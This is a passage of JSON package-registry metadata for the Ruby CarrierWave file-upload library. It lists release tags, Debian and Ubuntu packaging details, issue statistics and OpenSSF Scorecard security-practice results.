000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"e126877752b69c1c889a9bffacab2c2b833936ba","kind":"commit","published_at":"2009-12-19T12:16:08.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"ebade2658489e83063e55cf274cbef4a3c1a14d5","kind":"commit","published_at":"2009-11-26T22:09:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"7fba86e1224e261ee4c7a9ef3da117044fe9b6db","kind":"commit","published_at":"2009-10-26T07:51:24.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"4afbf484b15e098df717d0a5413e36a519f40a52","kind":"commit","published_at":"2009-10-12T17:29:43.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.0/manifests"},{"name":"v0.3.5.2","sha":"20844902de685236c3a01a781ba6fe842b0eacbb","kind":"commit","published_at":"2009-10-12T15:09:39.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.2/manifests"},{"name":"v0.3.5.1","sha":"5be22ae387e20cd66a06498c57cc57a2bd56e9a0","kind":"commit","published_at":"2009-09-17T11:53:26.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.1/manifests"},{"name":"v0.3.5","sha":"420ec38befa1f3e1aaa87c8c52d33f0a70a10392","kind":"commit","published_at":"2009-09-01T21:00:13.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"d58f0bc78c69de2f031bbf6c00516f7cbc7144fd","kind":"commit","published_at":"2009-08-30T22:00:24.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"2c1e4e7aaf9aa9da354c8ee7a7f8410f4fbab009","kind":"commit","published_at":"2009-08-29T06:13:10.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"2e85f5fb3a3c3dc26237912d06d894d39a83d607","kind":"commit","published_at":"2009-07-18T13:14:54.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"35bd130d6282ef2809c5180df17edf20b8fbe98f","kind":"commit","published_at":"2009-07-01T10:54:19.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"310cb0e90dede5581c8933e52e9e6d20fc82b99a","kind":"commit","published_at":"2009-06-20T13:54:43.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.0/manifests"},{"name":"v0.2.4","sha":"b500125c00689bcac0472200c09e74da4587c077","kind":"commit","published_at":"2009-06-11T07:23:05.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.4/manifests"},{"name":"v0.2.3","sha":"66499a6c8f5ac16c6d97c770d97039c1075dd524","kind":"commit","published_at":"2009-05-13T13:26:46.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.3/manifests"},{"name":"v0.2.1","sha":"c83731eaf2ae8b18dc9a49da8f805e71153d7a22","kind":"commit","published_at":"2009-05-01T12:57:02.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.1/manifests"},{"name":"v0.2.0","sha":"f83d8d5e1b1908ef5d0f6f85184595992caae081","kind":"commit","published_at":"2009-04-15T19:56:32.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"f57eaea2bd09380e1eb320b03e2040cfd10898f9","kind":"commit","published_at":"2009-03-12T21:01:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.1.0/manifests"}]},"repo_metadata_updated_at":"2026-08-07T04:18:20.430Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/debian/ruby-carrierwave?arch=source\u0026distro=debian-10\u0026repository_url=https://packages.debian.org/buster","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/debian/ruby-carrierwave","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/debian/ruby-carrierwave","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/debian/ruby-carrierwave/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-06T21:18:14.645Z","issues_count":182,"pull_requests_count":125,"avg_time_to_close_issue":81578355.10563381,"avg_time_to_close_pull_request":5115634.638095238,"issues_closed_count":142,"pull_requests_closed_count":105,"pull_request_authors_count":65,"issue_authors_count":163,"avg_comments_per_issue":2.456043956043956,"avg_comments_per_pull_request":1.648,"merged_pull_requests_count":70,"bot_issues_count":0,"bot_pull_requests_count":4,"past_year_issues_count":12,"past_year_pull_requests_count":23,"past_year_avg_time_to_close_issue":5608133.0,"past_year_avg_time_to_close_pull_request":3071969.3,"past_year_issues_closed_count":2,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":17,"past_year_issue_authors_count":12,"past_year_avg_comments_per_issue":0.8333333333333334,"past_year_avg_comments_per_pull_request":0.7391304347826086,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":3,"past_year_merged_pull_requests_count":5,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/issues","maintainers":[{"login":"mshibuya","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mshibuya"},{"login":"plribeiro3000","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/plribeiro3000"}],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/ruby-carrierwave/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/ruby-carrierwave/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/ruby-carrierwave/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/ruby-carrierwave/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/ruby-carrierwave/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/ruby-carrierwave/codemeta","maintainers":[],"registry":{"name":"debian-10","url":"https://packages.debian.org/buster","ecosystem":"debian","default":false,"packages_count":28836,"maintainers_count":0,"namespaces_count":3,"keywords_count":915,"github":"debian","metadata":{"codename":"buster","mirror":"http://archive.debian.org/debian","funded_packages_count":521},"icon_url":"https://github.com/debian.png","created_at":"2026-02-04T11:01:50.156Z","updated_at":"2026-08-17T05:03:24.187Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/namespaces"}},{"id":13804066,"name":"ruby-carrierwave","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/carrierwaveuploader/carrierwave","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/carrierwaveuploader/carrierwave","keywords_array":["universe/misc"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-13T18:16:19.793Z","latest_release_published_at":"2026-02-13T18:16:19.793Z","latest_release_number":"1.3.2-2","last_synced_at":"2026-03-14T02:19:54.406Z","created_at":"2026-02-13T18:16:19.631Z","updated_at":"2026-08-07T04:18:20.437Z","registry_url":"https://launchpad.net/ubuntu/+source/ruby-carrierwave","install_command":"apt-get install ruby-carrierwave","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"optional","binary":"ruby-carrierwave","standards_version":"4.5.1","maintainer":"Debian Ruby Extras Maintainers \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"cucumber, debhelper-compat (= 13), gem2deb, rake, rails (\u003e= 4.0~), ruby-activemodel, ruby-activerecord (\u003e= 2:4.0~), ruby-activesupport (\u003e= 2:4.0~), ruby-generator-spec (\u003e= 0.9.1~), ruby-mime-types (\u003e= 1.16~), ruby-ssrf-filter, ruby-mini-magick (\u003e= 3.6.0~), ruby-pg, ruby-rmagick, ruby-timecop, ruby-webmock, ruby-rspec (\u003e= 3.4~), ruby-fog-aws, ruby-fog-google (\u003e= 1.7.1~), ruby-fog-local, ruby-fog-rackspace, pry","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{"id":426955,"uuid":"47087","full_name":"carrierwaveuploader/carrierwave","owner":"carrierwaveuploader","description":"Classier solution for file uploads for Rails, Sinatra and other Ruby web frameworks","archived":false,"fork":false,"pushed_at":"2026-06-22T13:57:00.000Z","size":5102,"stargazers_count":8781,"open_issues_count":68,"forks_count":1649,"subscribers_count":128,"default_branch":"master","last_synced_at":"2026-08-04T04:05:10.902Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://github.com/carrierwaveuploader/carrierwave","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/carrierwaveuploader.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2008-08-28T18:39:49.000Z","updated_at":"2026-07-28T18:06:49.000Z","dependencies_parsed_at":"2026-01-05T09:00:37.179Z","dependency_job_id":null,"html_url":"https://github.com/carrierwaveuploader/carrierwave","commit_stats":{"total_commits":2061,"total_committers":457,"mean_commits":"4.5098468271334795","dds":0.7472100921882581,"last_synced_commit":"f0620919d00dbd74d31e6b48f62346d6090e88f7"},"previous_names":["jnicklas/carrierwave"],"tags_count":88,"template":false,"template_full_name":null,"purl":"pkg:github/carrierwaveuploader/carrierwave","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/sbom","scorecard":{"id":266668,"data":{"date":"2025-08-11","repo":{"name":"github.com/carrierwaveuploader/carrierwave","commit":"a51a97071fec5cf4a0b693b8271dd4c59d6b80ab"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":2,"reason":"Found 6/21 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/test.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":0,"reason":"license file not detected","details":["Warn: project does not have a license file"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 15 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-17T12:15:17.296Z","repository_id":426955,"created_at":"2025-08-17T12:15:17.296Z","updated_at":"2025-08-17T12:15:17.296Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36320704,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-07-20T02:08:10.276Z","status":"online","status_checked_at":"2026-08-05T02:00:06.619Z","response_time":104,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"carrierwaveuploader","name":"CarrierWave","uuid":"3982589","kind":"organization","description":null,"email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/3982589?v=4","repositories_count":7,"last_synced_at":"2024-03-25T21:59:40.930Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/carrierwaveuploader","funding_links":[],"total_stars":9677,"followers":8,"following":0,"created_at":"2022-11-02T17:12:49.258Z","updated_at":"2024-03-25T21:59:42.171Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader/repositories"},"tags":[{"name":"v2.2.7","sha":"690c44b63592ba8ff5b423e2565c1f75338dd2e3","kind":"tag","published_at":"2026-05-23T05:39:48.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.7/manifests"},{"name":"v3.1.3","sha":"5effe4ecaae967c48d6d434f89eb71b8263dd4d4","kind":"tag","published_at":"2026-05-23T05:36:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.3/manifests"},{"name":"v3.1.2","sha":"8e5db8cb0b01b1d06b95d46fedf2e0c2a445a0e9","kind":"tag","published_at":"2025-04-13T06:02:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.2/manifests"},{"name":"v3.1.1","sha":"550e423fbd5cd45cac262e2c5d13bfe778be5093","kind":"tag","published_at":"2025-01-12T09:38:42.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":